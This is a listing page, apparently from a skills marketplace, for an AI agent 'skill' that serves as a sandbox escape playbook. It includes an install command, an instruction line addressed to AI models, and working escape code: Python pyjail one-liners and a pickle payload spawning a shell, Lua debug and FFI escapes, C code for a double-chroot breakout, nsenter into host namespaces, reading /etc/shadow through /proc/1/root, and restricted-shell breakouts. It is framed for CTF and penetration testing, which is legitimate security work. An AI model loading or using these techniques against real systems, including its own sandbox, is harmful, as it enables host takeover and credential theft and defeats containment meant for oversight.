PluginBench
Skill
Fail
Audit score 45

sandbox-escape-techniques

yaklang/hack-skills

Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker, browser, and namespace contexts.

What is sandbox-escape-techniques?

Sandbox escape playbook for breaking out of Python pyjails, Lua sandboxes, seccomp filters, chroot jails, containers, browser sandboxes, and namespace isolation to achieve unrestricted code execution. Use when you need to identify sandbox type and apply the correct escape technique for your context.

  • Identify sandbox type (Python, Lua, seccomp, chroot, Docker, browser, namespace) and select appropriate escape vector
  • Python sandbox escape via __builtins__ recovery, subclass walking, keyword bypass, and pickle exploitation
  • Lua sandbox escape using debug library, FFI (LuaJIT), and metatables
  • Chroot escape via fd leaks, double chroot, TIOCSTI ioctl, and /proc access
  • Browser sandbox escape through Mojo IPC bugs, shared memory corruption, and GPU process exploitation
  • Namespace escape via user namespace escalation, PID namespace tricks, and mount namespace abuse

How to install sandbox-escape-techniques

npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniques
Claude Code
Cursor
Windsurf
Cline

How to use sandbox-escape-techniques

  1. 1.Identify which sandbox type you are in using the provided indicators table
  2. 2.Consult the appropriate section: Python sandbox, Lua, chroot, browser, namespace, or rbash
  3. 3.For Python: check if __builtins__ is available, then try subclass walking or import recovery techniques
  4. 4.For Lua: check for debug library or FFI availability and use corresponding escape method
  5. 5.For chroot: look for leaked file descriptors or attempt double chroot if running as root
  6. 6.For browser: achieve renderer RCE first, then exploit Mojo IPC or kernel vulnerability
  7. 7.For namespace: check /proc/1/root access or attempt user namespace escalation

Use cases

Good for
  • CTF pyjail challenges: recover os module and execute arbitrary code in restricted Python environments
  • Container escape during penetration testing: identify misconfigured namespaces and escalate to host access
  • Browser exploitation: chain V8 RCE with Mojo IPC bugs to break out of Chrome renderer sandbox
  • Chroot jail breakout: leverage file descriptor leaks or double chroot to access real filesystem
  • Seccomp bypass: use architecture confusion and allowed syscall chaining to execute blocked operations
Who it's for
  • CTF competitors and security researchers
  • Penetration testers targeting containerized applications
  • Browser security researchers
  • System security auditors evaluating sandbox configurations

sandbox-escape-techniques FAQ

How do I know which sandbox escape technique to use?

Use the sandbox type identification table in section 1 to determine your sandbox type (Python, Lua, seccomp, chroot, Docker, browser, or namespace), then follow the corresponding section for that type.

What if __builtins__ is completely removed in a Python sandbox?

Use subclass walking: ().__class__.__bases__[0].__subclasses__() to find os._wrap_close or other modules with __globals__, then access system() or other functions through __init__.__globals__.

Can I escape a browser sandbox without a kernel exploit?

Yes, if there is a Mojo IPC vulnerability in the browser process. Achieve renderer RCE first (via V8/Blink bug), then craft a malicious Mojo message to trigger a UAF or type confusion in the unsandboxed browser process.

What is the double chroot escape and when does it work?

Create a new chroot inside the current chroot, then navigate up using chdir('..') repeatedly. This works only if you are root inside the chroot and the old CWD is outside the new chroot.

How do I escape a restricted shell (rbash)?

Use commands that invoke a shell: vi/vim (:!/bin/bash), less/more (!/bin/bash), awk (awk 'BEGIN {system("/bin/bash")}'), find, python, or git help pager.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: sandbox-escape-techniques description: >- Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.

SKILL: Sandbox Escape — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.

0. RELATED ROUTING

  • browser-exploitation-v8 — V8 exploitation for renderer RCE before browser sandbox escape
  • container-escape-techniques — Docker/container specific escape techniques
  • kernel-exploitation — kernel exploit for container/namespace escape
  • linux-privilege-escalation — post-escape privilege escalation

Advanced References

  • PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology: __builtins__ recovery, keyword bypass, AST bypass, pickle escape
  • SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining

1. SANDBOX TYPE IDENTIFICATION

Sandbox TypeIndicatorsTypical Context
Python sandbox (pyjail)Limited builtins, filtered keywords, exec/eval availableCTF, online judges, Jupyter
Lua sandboxNo os, io modules; restricted metatablesGame scripting, config
seccompsyscall filtering, prctl(PR_SET_SECCOMP)CTF pwn, container hardening
chrootChanged root filesystem, limited /proc accessLegacy isolation
Docker/containerNamespaces, cgroups, reduced capabilitiesCloud, microservices
Browser (renderer)OS-level sandbox (seccomp-bpf + namespaces on Linux)Chrome, Firefox
Namespace isolationPID/mount/network/user namespaceContainer runtimes

2. PYTHON SANDBOX ESCAPE (OVERVIEW)

See PYTHON_SANDBOX_ESCAPE.md for full methodology.

Quick Reference

TechniqueOne-Liner
Subclass walk().__class__.__bases__[0].__subclasses__() → find os._wrap_close__init__.__globals__['system']
Import recovery__builtins__.__import__('os').system('sh')
getattr bypassgetattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')
chr constructioneval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
Pickle escapepickle.loads(b"cos\nsystem\n(S'sh'\ntR.")
Code objectConstruct types.CodeType(...) then exec() with custom bytecode

3. LUA SANDBOX ESCAPE

Restricted Environment Bypass

-- If debug library available:
debug.getinfo(1)                    -- information leakage
debug.getregistry()                 -- access global registry
debug.getupvalue(func, 1)           -- read closed-over variables
debug.setupvalue(func, 1, new_val)  -- overwrite upvalues

-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io

-- If loadstring available:
loadstring("os.execute('sh')")()

-- If string.dump available:
-- Dump function bytecode, patch it, load modified function

-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals

Lua FFI Escape (LuaJIT)

-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry

4. CHROOT ESCAPE

TechniqueConditionMethod
Open fd to real rootFile descriptor leaked from outside chrootfchdir(leaked_fd) then chroot(".")
Double chrootProcess is root inside chrootmkdir("x"); chroot("x"); chdir("../../../..")
TIOCSTI ioctlTerminal access (fd 0 is a TTY)Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c)
/proc access/proc mounted inside chroot/proc/1/root/ → access real root filesystem
ptraceCAP_SYS_PTRACEAttach to process outside chroot
Mount namespacePrivilegedMount real root into chroot

Double Chroot Escape

// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // now at real root
execl("/bin/sh", "sh", NULL);

5. BROWSER SANDBOX ESCAPE (OVERVIEW)

Chrome Sandbox Architecture (Linux)

Renderer Process:
  ├── seccomp-bpf (syscall filter)
  ├── PID namespace (isolated PIDs)
  ├── Network namespace (no direct network)
  ├── Mount namespace (minimal filesystem)
  └── Reduced capabilities (no CAP_SYS_ADMIN etc.)

Escape Vectors

VectorDescription
Mojo IPC bugUAF or type confusion in Mojo interface handler in browser process
Shared memory corruptionCorrupt shared memory segments between renderer and browser
GPU process bugExploit GPU process (less sandboxed) as stepping stone
Kernel exploitEscape directly via kernel vulnerability (bypasses all sandboxing)
Signal handlingRace condition in signal delivery across sandbox boundary

Mojo Interface Attack Pattern

1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access

6. NAMESPACE ESCAPE

User Namespace Escalation

# If allowed to create user namespaces (unprivileged):
unshare -Urm  # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration

PID Namespace Escape

# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access

Mount Namespace Tricks

# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/  # host root filesystem
cat /proc/1/root/etc/shadow  # read host files

# If can mount:
mount -t proc proc /proc
# Access host /proc entries

7. RBASH / RESTRICTED SHELL ESCAPE

TechniqueMethod
vi/vim:!/bin/bash or :set shell=/bin/bash then :shell
less/more!/bin/bash
awkawk 'BEGIN {system("/bin/bash")}'
findfind / -exec /bin/bash \;
python/perl/rubypython -c 'import pty;pty.spawn("/bin/bash")'
sshssh user@host -t /bin/bash
Environmentexport PATH=/usr/bin:/bin; /bin/bash
cpCopy /bin/bash to allowed directory
gitgit help config → then !/bin/bash in pager
Encoding`echo /bin/bash

8. DECISION TREE

What type of sandbox?
├── Python sandbox (pyjail)?
│   └── See PYTHON_SANDBOX_ESCAPE.md
│       ├── __builtins__ available? → direct import
│       ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│       ├── Keywords filtered? → chr()/getattr() construction
│       └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│   ├── debug library available? → getregistry/getupvalue
│   ├── FFI available (LuaJIT)? → ffi.C.system()
│   ├── loadstring available? → load arbitrary code
│   └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│   └── See SECCOMP_BYPASS.md
│       ├── Architecture confusion (32-bit syscalls from 64-bit)
│       ├── Allowed syscalls → ORW chain
│       ├── io_uring allowed? → bypass via io_uring
│       └── ptrace allowed? → debug child process
│
├── chroot jail?
│   ├── Root inside chroot? → double chroot escape
│   ├── Leaked fd? → fchdir to real root
│   ├── /proc mounted? → /proc/1/root access
│   └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│   ├── Privileged container? → mount host, load kernel module
│   ├── Mounted docker.sock? → docker API → escape
│   ├── See ../container-escape-techniques/SKILL.md
│   └── Kernel exploit → full escape
│
├── Browser sandbox?
│   ├── Have renderer RCE? → target Mojo IPC for browser escape
│   ├── GPU process accessible? → less-sandboxed stepping stone
│   └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
    └── Find any interactive program (vi, less, python, awk, git)